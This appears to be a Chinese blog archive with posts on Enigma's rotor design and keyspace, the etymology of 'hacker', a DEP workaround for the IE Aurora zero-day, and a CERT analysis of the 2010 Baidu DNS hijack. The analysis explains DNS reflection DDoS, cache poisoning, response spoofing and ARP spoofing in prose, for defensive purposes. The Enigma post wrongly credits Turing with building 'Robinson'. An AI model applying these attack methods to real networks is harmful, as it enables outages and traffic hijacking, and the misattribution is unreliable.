所以如果取得了足够多的密文,通过统计每个字母出现的频率,通过揣摩上下文等基本密码破译手段,很快就可以猜出密码中的一个字母对应于明码中哪个字母。柯南•道尔在他著名的福尔摩斯探案集中《跳舞的人》里就详细叙述了福尔摩斯使用频率统计法破译跳舞人形密码的过程。

因此谢尔比乌斯发明了对于Enigma来说最关键的加密部件——转轮机(Rotor machine)。它是一个会自动转动替换对应字母的设备,是从凯撒加密法中延伸出来的更为复杂的维吉尼亚(Vigenere)和博福特(Beaufort)密码的电子机械实现。维吉尼亚密码与凯撒加密法的最大区别就在于它引入了“密钥(Key)”这一概念,即根据密钥来决定用哪一行的密表来进行替换,以此来对抗字频统计。

当在Enigma键盘上一个键被按下时,相应的密文在显示器上显示,然后转轮的方向就自动地转动一个字母的位置。也就是说,当第一次键入b时,信号通过转轮中的连线,灯A亮起来,放开键后,转轮转动一格,各字母所对应的密码就改变了;第二次键入b时,它所对应的字母就变成了C;同样地,第三次键入b时,灯E闪亮。

这是Enigma的秘密所在,它绝非是以往的那种“简单代替密码算法(Simple Substitution cipher)”。同一个字母b在明文的不同位置时,可以被不同的字母替换,而密文中不同位置的同一个字母,可以代表明文中的不同字母,频率分析法在这里就没有用武之地了。这种加密方式被称为“多表代替密码算法(polyalphabetic substitution cipher)”。

多表代替密码有多个单字母密钥,每一个密钥被用来加密一个明文字母。第一个密钥加密明文的第一个字母,第二个密钥加密明文的第二个字母等等。在所有的密钥用完后,密钥又再循环使用,若有20个单个字母密钥,那么每隔20个字母的明文都被同一密钥加密,这叫做密码的周期。

在经典密码学中,密码周期越长越难破译,使用计算机就能够轻易破译具有很长周期的代替密码。跟今天不断升级的加密算法位数一样,加密过程中编码重复出现的现象是很危险的,重合指数(index of coincidence)过高可以使试图破译密码的人看见规律性的东西。为了避免在加密过程中产生大量的重复编码,Enigma可以在机器中任意添加转轮,每添加一个转轮,就会增加新的破解难度,如同64位加密算法升级到128位一样,当第一个转轮转动整整一圈以后,它上面有一个齿拨动第二个转轮,使得它的方向转动一个字母的位置。

用这样的方法,要26*26=676个字母后才会重复原来的编码。而事实上通常使用的Enigma里有三个转轮,它使得不重复的方向个数达到26*26*26=17576个。机密度更高的部门可以添加更多的转轮,如二战后期德国海军所用的Enigma甚至有四个转轮,因为所有的转轮以不同的速度移动,n个转轮的机器的加密周期就是26n次方,这样的加密强度可想而知。

而在此基础上,谢尔比乌斯更是十分巧妙地在三个转轮的一端加上了一个反射器,这样能够让Enigma把键盘和显示器中的相同字母用电线连在一起。反射器和转轮一样,把某一个字母连在另一个字母上,但是它并不转动。

事实上它只是一个巧妙的开关,使用者并不需要知道它的是如何工作的情况。他们只需要知道,当一个键被按下时,信号不是直接从键盘传到显示器(要是这样就没有加密了),而是首先通过三个转轮连成的一条线路,然后经过反射器再回到三个转轮,通过另一条线路再到达显示器上,在这种设计下,反射器虽然没有像转轮那样增加可能的不重复的方向,但是它可以使译码的过程和编码的过程完全一样,大大的提高了使用的简洁性。

在今天,我们仍然可以想象这样场景,一台Enigma摆放在我们的面前,我们将它轻轻的开启,发送一条消息。我们首先通过调节Enigma三个转轮方向,使它们处于17576个方向中的一个,而转轮的初始方向就密匙,这是我们收发双方事前就预先约定好的秘密。

我们轻轻敲打它富有历史感觉的键盘,加入明文的消息。在Enigma的显示器中,每个被键入的字母都依次闪亮并被记录下来,接着它把加密后的消息转换为密文通过电报传送出去。我们的收信方在接收到密电后,打开手中同样的Enigma

按照我们的事先约定,把转轮的方向调整到和发信方相同的初始方向上,然依次键入收到的密文,并把闪亮的字母依次记下来,就得到了明文于是加密和解密的过程就是完全一样的——这都是反射器起的作用。不过反射器也并非十全十美的,它所带来的一个副作用就是你输入的每一个字母都永远也不会被加密成它自己本身,因为反射器中每一个字母总是被连到另一个不同的字母伤了。

Enigma的设计思想理念中,转轮的初始方向决定了整个密文的加密方式。这就造成了一个问题,如果通讯过程中有敌人监听,而且他能够截获到完整的密文,这样他就可以实施破解。但是由于不知道三个转轮的初始方向,他唯一的办法就是不得不一个个方向地试验来找到这个密匙。

此时关键的问题出现了。

17576个初始方向似乎并不是非常大的一个数字,如果试图破译密文的人非常有耐心你,他就可以把转轮调整到某一方向,然后键入密文开头的一段话,再判断一下出现的结果是否是有意义的内容。如果没有意义,那么再转动一下转轮,让它调换到下一个出示方向——如果测试一个方向只需要一分钟,而他一天二十四小时日以继夜地工作,那么在大约两星期后,敌人就能够找遍转轮所有可能的初始方向。此时,如果对手用许多台机器同时破译,那么所需要的时间更会大大缩短。

显然,这种加密的强度显然不够健壮和强大。

当然,你可以让谢尔比乌斯继续增加转轮,但是每加一个转轮只是让初始方向的可能性多了二十六倍而已,而仅仅依靠转轮的增加来增强加密强度,也会让Enigma的体积无限增大,缺乏易用性。此时,谢尔比乌斯相当了一个更加巧妙的办法。

首先谢尔比乌斯把Enigma的三个加密转轮制作成为可方便自由拆卸的形式,这样能够让使用者自己DIY调整Enigma转轮的组合方式,这样一来初始方向的可能性变成了原来的六倍。

假设三个转轮的编号为123,那么它们可以被放成123-132-213-231-312-321六种不同位置,当然现在收发消息的双方除了要预先约定转轮自身的初始方向,还要约定好这六种排列中的使用一种。

接下来,谢尔比乌斯又在Enigma的键盘和第一个转轮之间增加了一个连接板。这块连接板能够让使用者用一根信号线将某一个字母和另外一个字母任意连接,这样这个字母的信号在进入转轮之前就会转变为另一个字母的信号。这种连线最多可以有六根甚至更多,当然连接板上的连线状况也是收发信息的双方需要预先约定的。

于是转轮自身的初始方向,转轮之间的相互位置,以及连接板连线的状况就组成了所有可能的密匙,好的,现在让我们来算一算做了这样改动的Enigma一共到底有多少种组合加密可能性哪?

三个转轮不同的方向组成了26*26*26=17576种不同可能性;

三个转轮间不同的相对位置为6种可能性;

连接板上两两交换6对字母的可能性数目非常巨大,有 100391791500种;

于是一共有17576*6*100391791500,大约为10000000000000000,即一亿亿种可能性。

如果双方都有密匙,那么收发密文与加密解密很容易。但是对于不知道密匙的破解者来说,在这巨大的可能性面前,想通过逐一尝试来找到密匙的方法是没有任何可行性的。

既然连接板如此重要,那么为什么谢尔比乌斯还要兴师动众的为Enigma设计转轮之类的东西呢?原因在于连接板本身其实就是一个简单替换密码系统,在整个加密过程中,连接是固定的,所以单使用它是十分容易用频率分析法来破译的。

转轮系统虽然提供的可能性不多,但是在加密过程中它们不停地转动,使整个系统变成了复式替换系统,频率分析法对它再也无能为力,与此同时,连接板却使得可能性数目大大增加,使得暴力破解的方法成为永远的不可能。

强大的Enigma让德国军方很快的爱上了它,他们几乎对于Enigma的加密信心显得无比十足。而Enigma的强悍加密方式在当时而言,也的确是困扰盟军的巨大障碍,面对一个个通过Enigma相互联系的德国海狼U型潜艇们,面对如此高强度但造价却低廉的Enigma,盟军第一次开始品尝到加密的噩梦。

Enigma也成为了战争史上最成功的信息加密之王。

但它是真的是不可能被破解的吗?

……待续……

 

资料:Enigma发展史

1926年,民族仇恨绝不比丘吉尔先生弱的德国海军、首当其冲吃了英国海军部“第40号房间”大亏的德国海军,率先决定采购Enigma的海军型——Enigma Funkschlüssel C型。

1927年,Enigma-D开发成功;

1927年,Enigma-E开发成功;

1927年,Enigma-F开发成功;

1927年,Enigma-D在英国获得专利;

1928年,Enigma-D被美国军队获取;

1928年,Enigma-G军用型开发成功,德国陆军、空军开始批量采购;

1929年,Enigma-H开发成功;

1930年,Enigma-Ⅰ(这里是罗马数字Ⅰ)军用型开发成功,被德国陆军、空军批量采购;

1930年,Enigma-H在英国申请专利,次年获得专利权;

1931年,Enigma-K开发成功;

1932年,波兰、瑞典先后获得EnigmaK

1932年,在Enigma-Ⅰ军用型的基础上,Enigma-Ⅱ军用型开发成功,再次被德国陆军、空军采购;

1934年,日本购得Enigma-K

1934年,Enigma Funkschltissel M(海军型)开发成功;

1935年,西班牙、意大利先后获得Enigma-K

1936年,在Enigma-Ⅰ军用型的基础上,改制出德国国防军型EnigmaWehrmacht Enigma);

1937年,日本依靠购来的Enigma-K,参考借鉴后成功研发出大名鼎鼎的紫密;

1937年,德国党卫队开始装备Enigma

1938年,Enigma MOB-38型开发成功,装备德国陆军、空军;

1938年,Enigma的海军型升级为Enigma Funkschlossel M-2型(即M2Enigma);

1938年,Enigma商业型(具体型号不详)被德国帝国邮政局采购并装备;

1938年,Enigma商业型(具体型号不详)被德国帝国铁路局采购并装备;

1939年,日本在Enigma-K及紫密的基础上,发展出日本海军型密码机;

1939年,Enigma MOB-39型开发成功,装备德国陆军、空军;

1939年,Enigma的海军型再次升级为Enigma Funkschltissel M-3型(即M3Enigma);

1939年,开发出德国军事情报署型EnigmaAbwehr Enigma)。

二战爆发

1942年,Enigma的海军型升级为Enigma Funkschltissel M-4型(即M4Enigma);

1942年,开发出德国一日本海军通用型号Enigma-T(或EnigmaModel T型);

1943年,海军型又升级出M-B型、M-8型;

1945战争结束,甚至到了纳粹德国苟延残喘的1945年,全新开发的M-5型和由M-B型发展而来的M-10型还分别装备了陆海空三军……

参考资料:

D.KahnThe Codebreakers: The Story of Secret WritingNew York: Macmillan Publishing Co.1967

B.C.W.Hagelin,” The Story of the Hagelin Cryptos ”

Bruce Schneier,《应用密码学——协议、算法与C源程序》

2012-05-18

落在广岛和长崎这两座日本城市的原子弹,通过这种死神才能够呼吸出的恐怖力量,让第二次世界(1939~1945)大战戛然而止。

随之而来的是被称为冷战的时期。在上一个千禧年临近尾声前的50年间,美国和苏联两个帝国,分别代表着资本主义和共产主义两个敌对的政治体制,成了不言而喻的敌手。他们并不曾直接兵戎相见,但相互都亮出了不少恫吓的招数。由于这两者都掌握着足以将对方完全摧毁的手段,因此谁也不敢先下手,致使世界系于提心吊胆的和平状态下。它们都各自不断开发出新的致命武器,而且势头简直无法遏止。这就是所谓的“军备竞赛”。在这场有如“打冤家”的长期争斗中,这种载有核弹头,轻而易举就能够打倒其它国家的导弹,无疑是最强大的武器。因此,争相取得有关技术的进步,本身也成了这两大世界强权极力角逐的内容。无论是实现军事抱负,还是争取技术进步,空间探索都能提供诸多的机会。美国和苏联谁能最先将人送上月球,就将无疑证明自己胜过了对方。

当苏联宇航员尤里.阿列克塞耶维奇.加加林(Yuri Alekseyevich Gagarin)在1961年环绕地球飞行了一周,让苏联人大为欣喜、美国人沮丧不堪之后,人们才知道,一场伟大的探险已告开始。这是一场人类脱离自身栖身的小小行星、大胆进入宇宙的宏伟大业的肇始之笔。对于这场伟业,固然有人满怀希望,却也有人心存恐惧。心怀疑惧的理由是,****人已开始了对空间的征服,并使冷战技术实现了令人震惊的飞跃。美国人林登.约翰逊在他当副总统时说过:“我可不高兴在共产主义的月亮下入睡。”这句话是很有代表性的。

而也就是在1957年前苏联发射第一颗人造卫星之后,美国国防部“高级研究计划署”(Advanced Research Project Agency)出于对前苏联太空实力的恐惧与防止远程核打击冷战思维考虑,开始建立ARPA网,ARPANETThe Advanced Research Projects Agency Network)后来成为世界上第一个运营的封包交换网络,它是全球互联网的始祖,而在此后的四十多年时间里,它所延伸出来的Internet成为了病毒与黑客肆意成长的温床。

Enigma与现代密码学

ARPANET的诞生,不但是一个新时代的开始,也是20世纪内一场激荡起伏的网络黑客时代的开始。而在ARPANET出现前的几十年前,现代黑客的另一项重要“加密与破解”技术已经开始变得日益重要,以至于它推动了现代密码学的发展和电子计算机的诞生。

对于各国的密码加密和解密精英们,这一奋战始于1918年,在那一年德国工程师阿瑟·谢尔比乌斯(Arthur Scherbius)申请了他设计的一种使用转子的密码机的专利,而这台机器成为了现代密码学历史上最出名的密文加密机器恩尼格玛密码机(德语:Enigma,又译哑谜机,或谜),不幸的是,这台居于历史意义的机器在最初销售的时候,并没有人对它产生任何兴趣。

不过随后英国政府发表了两份关于一次大战的文件使得德国军队开始对恩尼格玛密码机兴趣大增。其中一份是1923年出版的温斯顿·丘吉尔的著作《世界危机》,其中有一段提到了英国和俄国在军事方面的合作,指出俄国人曾经成功地破译了某些德军密码,而使用这些成果,英国的40局(英国政府负责破译密码的间谍机构)能够系统性地取得德军的加密情报。德国方面几乎是在十年之后才知道这一真相。第二份文件同样是在1923年由皇家海军发表的关于第一次世界大战的官方报告,其中讲述了在战时盟军方面截获(并且破译)德军通讯所带来的决定性的优势。这些文件构成了对德国情报部门的隐性指控,他们最终承认“由于无线电通讯被英方截获和破译,德国海军指挥部门就好象是把自己的牌明摊在桌子上和英国海军较量。”

为了避免再一次因为文件被敌方的密码破译人员“破解”,德军对谢尔比乌斯的发明进行了可行性研究,最终得出结论:必须装备这种加密机器。从1925年开始,谢尔比乌斯的工厂开始系列化生产Enigma,次年德军开始使用这些机器。接着政府机关,比如说国营企业,铁路部门等也开始使用Enigma。这些新型号的机器和原来已经卖出的一些商用型号不同,所以商用型机器的使用者就不知道政府和军用型的机器具体是如何运作的。

在接下来的十年中,德国军队大约装备了三万台Enigma。谢尔比乌斯的发明使德国具有了最可靠的加密系统。在第二次世界大战开始时,德军通讯的保密性在当时世界上无与伦比。似乎可以这样说,Enigma在纳粹德国二战初期的胜利中起到的作用是决定性的,但是我们也会看到,它在后来希特勒的灭亡中扮演了重要的角色。但是谢尔比乌斯没有能够看见所有这一切。有一次在套马时,他被摔到了一面墙上,于1929513日死于内脏损伤。

不过在谢尔比乌斯意外死亡的那一年,一位名叫阿兰·麦席森·图灵(Alan Mathison Turing)的17岁少年开始研究爱因斯坦的相对论,随后他以优异的成绩考入剑桥大学国王学院,开始他的数学生涯,他在大学中主攻研究量子力学、概率论和逻辑学。而也就是这位天资无比的年轻人,在随后的战争期间凭借着他的天才设想设计出了Enigma的破译机。这台机器主要由继电器构成,还用了80个电子管,由光电阅读器直接读入密码,每秒可读字符2000个,运行起来咔嚓咔嚓直响。它被图灵戏称为“罗宾逊”,至今没人能搞懂图灵究竟如何指挥它工作。但“罗宾逊”的确神通广大,在它的神奇般的破译中,Enigma的看似在当时不可能被破译的秘密屡次被攻破,让二战中的德国飞机一再落入圈套,死无葬身之地。

附录:

现代黑客的划分

2010-12-03

这部作品在电脑里压了很久,之所以不愿意将电子版放出来,主要是因为在中国抄袭现象太严重了。2000年我曾写过一篇《温故中国黑客史》,结果被抄袭的一塌糊涂,几乎所有讲黑客历史的书中,都会有那部分内容。最让我无法忍受的是,《南都周刊》这种较大的媒体,不仅抄袭了,还在原作基础上篡改,让本来清晰的历史被扭曲。最后仍然希望大家尊重作者的心血。

 

我是天空里的一片云,偶尔投影在你的波心——

你不必讶异,更无须欢喜——

在转瞬间消灭了踪影。

你我相逢在黑夜的海上,

你有你的,我有我的,方向;

你记得也好,最好你忘掉,

在这交会时互放的光亮!

徐志摩 《偶然》

 

记得一位学者曾说:任何一段历史都有它不可替代的独特性。从这个角度看,伴随着计算机与网络应运而生的“黑客”一词和它的历史更是如此。仔细翻阅计算机与互联网的发展历史,我们或多或少的都能够从字里行间中寻找出各种黑客的身影与痕迹,而其实整个互联网的发展其实都是构建在这种从未间断过的科技极限挑战之中的。

一台伴随着战争的硝烟而生的机器,一个为了全球核大战而建立的网络,复杂的身世注定了它成长过程的叛逆将会多于理性。特别是黑客进入中国这样一个刚刚高速发展,但仍然没有忘却历史伤痛的国家。民族意识的空前崛起,网络无国界的强烈文化冲撞。黑客一时间曾被我们赋予了太多的神奇与希望。但好景不长,随着技术的发展,随着黑客还没有被明确赋予意义的名词越来越多的被滥用,黑客逐渐的成为了笑柄,逐渐的成为了一群拿着工具相互PK、窥看隐私、盗窃QQ号码、到处涂鸦的孩子游戏。

也从那时起,那些被赋予中国第一代黑客的人们开始拼命的甩脱黑客的头衔,他们开始拒绝让媒体称他们为黑客,黑客此时的意义已经已经发生了质的变化,成为了半个带有贬义的词汇。当一次次病毒与黑客事件爆发引起国人的误解时,当一个个不良黑客用技术取得不义之财时,“黑客”一词逐渐成为了带有歧视性的技术破坏分子,甚至一度成为只会用工具的孩子游戏。

在黑客逐渐成为媒体的一个噱头之后,在今天我们希望通过回顾黑客文化的发展,洗尽铅华将历史与思想还原,我们期望以我们对黑客一次的重新阐述,让这个国人逐渐将其划为贬义词的名称,能够真正的高昂起头来,继续自己的辉煌和骄傲……

 

第一部创世纪

第00000001/一章 Hacker的缘起

 

现在,当你在国内追寻“Hacker”一词的由来时,在大多的网站或者书中是的描述并无二致,通常在字典解释“Hacker(黑客)”一词时,常会说它源于英语动词hack,意为“劈,砍”,最早是指“受雇从事辛苦而乏味之工作的人”,后被引申为“干了一件非常漂亮的工作”。在大多数对现代黑客诠释的书籍中,大多数信息产业领域内的学者认为,Hacker起源于50年代麻省理工学院的实验室中,他们精力充沛,热衷于解决难题。

而其实只要你仔细阅读英语言百科全书和微软百科全书就会发现,上面的解释认为

早期Hacker的由来竟然与这种黑色的出租马车不无关系

   Hacker来源于更早的一个名词“Hackney”。Hackney的字面词义为:“出租马车”;“作苦工的人”;“陈腐的”。无论你是否相信?至少从辞源上来讲,它们之间确实存有联系。最早,hackney指的是位于泰晤士河支流流域River Lea(利河)河畔的一个小村庄,由于Hackney Village(“哈克尼”村)水草丰沃,所以村子以盛产膘肥力壮的马而闻名远近。“哈尼克”村的马最大的特点就是善于奔跑,因此常被雇到村外供人骑玩,久而久之,这些马就被取名为“哈克尼”马。到了14世纪,hackney的词义进一步扩大,用来指代所有的“出租马车”。

     既然马车是租来的,使用者一定会充分利用租来“伙计”,让其干各种各样的活儿,慢慢的,hackney(马车)词义延伸,开始用来比喻“卑贱的苦工”。在此基础之上,16世纪,人们用hack writer来指代“替人写杂文的落魄文人”。

     另外,在蒸汽机出现以前,街头的“出租马车”可以说是泛滥成灾,于是,hackney也用来指那些“平庸无奇、毫无出众之处”的事物。到了18世纪,“hackneyed”被用做形容词,指“陈词滥调的,老生常谈的”。

“黑客”时常被人们误解,给人以神秘的感觉

     正是因为Hackneyed代表了“陈词滥调的,老生常谈的”,因此二十世纪五十年代,当Hacker在著名的麻省理工学院(MIT)诞生时,就颇有些“打破陈规和老套思维”的含义。也正是如此Hacker当时这个还是俚语的词,被思想保守的学院派学者们灌上了“恶作剧”的含义,当然即便Hacker被不当的误读为恶作剧,它仍然是指那些“手法高明、技术精巧、与众不同”的恶作剧。

    而随着计算机和网络的流行,Hacker逐渐的成为了一种文化现象,因此当这个词在二

十世纪八十年代进入亚洲时,开始有了一番全新的解读。在日本《新黑客词典》中,对黑客(ハッカー)的定义是“对计算机和微电子技术非常精通,喜欢探索软件程序奥秘,并从中增长了其个人才干的人。他们不像绝大多数电脑使用者那样,只规规矩矩地了解别人指定了解的狭小部分知识。”在这个早期的黑客定义中,我们还看不出这个词汇后来在亚洲地区变为贬义的意味。

    Hacker一次在进入中国内地后,被直接音译为“黑客”,而更早的Hacker中文翻译来自中国台湾,在那里它被音译为“骇客”。“黑客”与“骇客”在最初并没有现如今的明确区分,在当时的国人眼中,他们都是具有硬件和软件专业知识的科技人才,并有能力通过一种独特创新的方法剖析计算机系统的技术顶尖奇才。大众天真的认为,黑客能使计算机和互联网更加趋于完善和安全,他们以保护网络为目的,而以不正当侵入为手段找出网络漏洞。

一名中国黑客的工作室

     不过从主观区分正义与邪恶是人类的天性,特别是当“黑客”逐渐的出 现在大众生活的周围时,极端与恶劣的黑客行径开始被大众憎恶。于是媒体开始将黑客区分为两个不同世界的族群,而他们的基本差异在于:“黑客”是有建设性的,而“骇客”则专门搞破坏。

      “黑客”时常被人们误解,给人以神秘的感觉“黑客”一词当中的中文音译“黑”或

“骇”字总使人对黑客有所误解,真实的黑客所指主要指的是高级程序员,如 Linux 创始人林纳斯·托瓦兹,而不是为人所误解专指对电脑系统及程序进行恶意攻击及破坏的人。除了精通编程,精通操作系统如Unix的人可以被视作黑客外,现在精通网络入侵的人也被看作是“黑客”,但一般被称为骇客,对硬件设备创新的工程师通常也被认为是黑客。

     但到了今天,在知识贫乏的记者写的媒报道中,黑客一词已被用于泛指黑客和骇客,因此也影响了大众对黑客的理解。【注:001】

 

【注:001】:

现代黑客的划分

“黑客”(hacker)一词一般有以下意义:

一个对(某领域内的)编程语言有足够了解,可以不经长时间思考就能创造出有用的软件的人。喜爱编程并享受在其中变得更擅长于编程的人。

“骇客”(cracker)一词一般有以下意义:

一个恶意(一般是非法地)试图破解或破坏某个程序、系统及网络安全的人。在使用简体字地区,这群人应称为“黑客”(cracker),但于正体字使用时称垮客、怪客(以读音直译,此处与简体字地区的用词有所出入)等。“cracker”没有“hacker精神”,也没有道德标准。“hacker”们建设,而“cracker”们破坏。

一个试图破解某系统或网络以提醒该系统所有者的系统安全漏洞。这群人在大陆往往被称做“白帽黑客”或“思匿客”(sneaker)。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。

一个通过知识或猜测而对某段程序做出(往往是好的)修改,并改变(或增强)该程序用途的人。

“脚本小子”(script kids)则指那些完全没有或仅有一点点黑客技巧,而只是按照指示或运行某种黑客程序来达到破解目的的人。不少青少年因为网络入侵,传播病毒木马偷窃获利,破坏报复攻击等原因而电脑犯罪被判刑。

2010-01-19
针对IE浏览器刚刚曝出的“极光”0Day漏洞,据了解,微软的官方补丁可能还要等两周左右,目前微软提供的临时方案是开启IE浏览器DEP保护、禁止JS脚本和ACTIVEX选项。

     针对IE浏览器刚刚曝出的“极光”0Day漏洞,据了解,微软的官方补丁可能还要等两周左右,目前微软提供的临时方案是开启IE浏览器DEP保护、禁止JS脚本和ACTIVEX选项。

   经安天工程师测试发现,将IE属性中的安全设置为高后后遗症表现为:

    a.不显示某些验证码
  b.不显示某些动态图片
  c.不显示某些论坛的帖子列表
  d.论坛快速跳转功能无用
  e.论坛发贴时按Ctrl+Enter提交无反应
故此处对浏览器属性的安全设置步骤不予给出,主要给出DEP的具体保护步骤:

 

1.   我的电脑――>右键――>属性――>弹出系统属性 对话框――>单击高级选项卡 :

 

 

图 1   系统属性 - 高级选项卡

 

2.   ――>在性能区域中――>单击设置

 

 

图 2   性能选项

3.   ――>单击数据执行保护选项卡:

 

 

 

 

图 3   数据执行保护选项卡

 

4.   ――>选择为除下列选定程序之外的所有程序和服务启用 DEP (U) 单选按扭(不要勾选windows Explorer)

――>单击应用――>然后单击确定

――>此时将出现一个对话框,并通知您必须重新启动计算机才能使设置生效

――>单击确定

 数据执行保护设置完成。

1.事件概述

· 发生时间

    2010年1月12日晨7时起,网络上开始陆续出现百度出现无法访问的情况反馈,12时左右基本恢复正常;18时许百度发布官方版本公告;对事故原因说明为:“因www.baidu.com的域名在美国域名注册商处被非法篡改,导致全球多处用户不能正常访问百度。”

· 相关现象

(1)在整个事件期间百度顶级域名baidu.com及旗下全部二级域名访问都出现异常,在较长的时间全部被解析到位于荷兰的IP地址188.95.49.6。但通过IP入口(如http://202.108.22.5/),其他顶级域下的域名入口如baidu.hk等可以正常访问。
在访问百度过程中先后出现过不同现象:
跳转至伊朗网军(IRANIAN CYBER ARMY)页面;
跳转至雅虎错误页面;
不能正常访问等。

跳转到雅虎错误页面:

(2)在此期间查询baidu whois信息可以发现异常,并有被不止一次修改的迹象。

· 事件的初步定性

    安天CERT在今早九时对事件作出定性,此事件为通过whois信息篡改实施的DNS劫持类攻击,并将有关初始分析报告和结论向关联CERT机构进行了提交。

2.DNS原理及域名的管理

· 什么是DNS

    网络节点能够被寻址访问的原因,是由于网络节点拥有一个独立身份证,这是由网卡物理地址、IP地址和网络端口组成的一个地址体系。对于以TCP/IP为基础协议的Internet来说,必须找到访问对象的IP地址,才能进行访问,但由于IP地址难于记忆,也不够灵活,Internet规则的制定者发明了一套域名体系与其对应,这就是DNS(域名解析服务)的基础体系。这时用户无需记忆大量的IP地址数字(如202.108.22.5),而能通过域名访问丰富多彩的互联网内容(如www.baidu.com),这给用户带来了极大的方便,但也产生了相关的安全隐患。

· 国际域名的业务体系

    域名体系管理是由ICANN组织进行的,其下有多家顶级域名注册商,而注册商下又可能有多级代理商。

· DNS解析的基本原理

DNS服务的工作原理:

    上图是用户访问一个域名后,通过本地DNS服务器发出递归查询请求的流程图,然而大多数DNS服务器都是可以处理递归查询,通过询问其他服务器和提供响应给发出请求的用户,进而利用递归式DNS来为客户端提供域名解析的答案。以下为它的执行流程:

 

  • 一个用户在浏览器中输入www.antiy.com。首先计算机询问它的本地DNS服务器,以确定www.antiy.com的IP地址。
  • 本地的DNS服务器首先在它的本地表(或缓存)中进行查找“www.antiy.com”,如果找到那么将其返回客户端,如果没有发现,那么DNS服务器发送一个查询给根服务器,来查询“www.antiy.com”的IP地址。
  • 根服务器收到信息后会回应“www.antiy.com”顶级域(TLD)服务器的地址。
  • 然后由本地的DNS服务器联系顶级域名(TLD)服务器来确定“www.antiy.com”的IP地址。
  • 顶级域(TLD)服务器会回应针对“www.antiy.com”的名称的服务器地址。
  • 本地DNS服务器联系得到的“www.antiy.com”的名称服务器来确定它的IP地址。
  • 本地DNS服务器发送这个响应给最初的用户:www.antiy.com=222.171.15.74

3.DNS相关的安全威胁和案例

· 利用DNS服务器进行DDOS攻击

    正常的DNS服务器递归询问过程可能被利用成DDOS攻击的。假设攻击者已知被攻击机器的IP地址,然后攻击者使用该地址作为发送解析命令的源地址。这样当使用DNS服务器递归查询后,DNS服务器响应给最初用户,而这个用户正是被攻击者。那么如果攻击者控制了足够多的肉鸡,反复的进行如上操作,那么被攻击者就会受到来自于DNS服务器的响应信息DDOS攻击。下图为攻击原理:

  1. 攻击者发送控制信号给肉鸡群机器。
  2. 肉鸡群机器针对这个递归DNS不断的执行这条记录的查询。
  3. 本地的DNS服务器首先在它的本地表(或缓存)中进行查找“www.antiy.com”,如果找到将其返回客户端,如果没有发现,那么DNS服务器发送一个查询给根服务器,来查询“www.antiy.com”的IP地址。
  4. 根服务器收到讯息(信息)后会回应“www.antiy.com”顶级域(TLD)服务器的地址。
  5. 然后由本地的DNS服务器联系顶级域名(TLD)服务器来确定“www.antiy.com”的IP地址。
  6. 顶级域(TLD)服务器会回应针对“www.antiy.com”的名称的服务器地址。
  7. 本地DNS服务器联系得到的“www.antiy.com”的名称服务器来确定它的IP地址。
  8. 递归DNS获得了某域名的IP地址后,把所有信息都回复给源地址,而此时的源地址就是被攻击者的IP地址了。

    如果攻击者拥有着足够多的肉鸡群,那么就可以使被攻击者的网络被拖垮至发生中断。利用DNS服务器攻击的重要挑战是,攻击者由于没有直接与被攻击主机进行通讯,隐匿了自己行踪,让受害者难以追查原始的攻击来。相对比较好的解决办法就是可取消DNS服务器中允许人人查询网址的递回(recursive)功能。

· DNS缓存感染

    攻击者使用DNS请求,将数据放入一个具有漏洞的DNS服务器的缓存当中。这些缓存信息会在客户进行DNS访问时返回给用户,从而把用户客户对正常域名的访问引导到入侵者所设置挂马、钓鱼等页面上,或者通过伪造的邮件和其他的server服务获取用户口令信息,导致客户遭遇进一步的侵害。

· DNS信息劫持

    原则上TCP/IP体系通过序列号等多种方式避免仿冒数据的插入,但入侵者如果通过监听客户端和DNS服务器的对话,就可以猜测服务器响应给客户端的DNS查询ID。每个DNS报文包括一个相关联的16位ID号,DNS服务器根据这个ID号获取请求源位置。攻击者在DNS服务器之前将虚假的响应交给用户,从而欺骗客户端去访问恶意的网站。假设当提交给某个域名服务器的域名解析请求的数据包被截获,然后按截获者的意图将一个虚假的IP地址作为应答信息返回给请求者。这时,原始请求者就会把这个虚假的IP地址作为它所要请求的域名而进行连接,显然它被欺骗到了别处而根本连接不上自己想要连接的那个域名。

· DNS重定向

    攻击者如果将DNS名称查询重定向到恶意DNS服务器。那么被劫持域名的解析就完全至于攻击者的控制之下。

· ARP欺骗

    ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP木马,则感染该ARP 木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。
    ARP欺骗通常是在用户局网中,造成用户访问域名的错误指向,但在IDC机房被入侵后,则也可能出现攻击者采用ARP包压制正常主机、或者压制DNS服务器,而李代桃僵,以使访问导向错误指向的情况。

· 本机劫持

    在计算机系统被木马或流氓软件感染后可能会出现部分域名的访问异常,如访问挂马或者钓鱼站点、无法访问等情况,本机劫持有hosts文件篡改、本机DNS劫持、SPI链注入、BHO插件等方式,虽然并非都通过DNS环节完成,但都会造成无法按照用户意愿获得正确的地址或者内容的后果。

· 与DNS相关的一些攻击案例

事件1:百度遇DDOS攻击事件
    2006年09月12日17点30分,有北京、重庆等地的网友反映百度无法正常使用,出现“请求超时”(Request timed out)的信息。这次攻击造成了百度搜索服务在全国各地出现了近30分钟的故障。随后,百度技术部门的员工们快速反应,将问题解决并恢复百度服务。9月12日晚上11时37分,百度空间发表了针对不明攻击事件的声明。“今天下午,百度遭受有史以来最大规模的不明身份黑客攻击,导致百度搜索服务在全国各地出现了近30分钟的故障。”
    2006年09月22日,新网对外做出证实DNS服务器遭到大规模黑客攻击,从21日下午4点多开始持续到凌晨12点。尽管目前服务已经恢复正常,但是技术人员正在追踪攻击来源,并分析攻击技术手段。新网是国内最大域名服务商之一,黑客持续8小时的攻击,导致在新网注册30%的网站无法正常访问。其中包括天空软件、艾瑞视点、中国网库等知名网站。
事件3:暴风影音事件
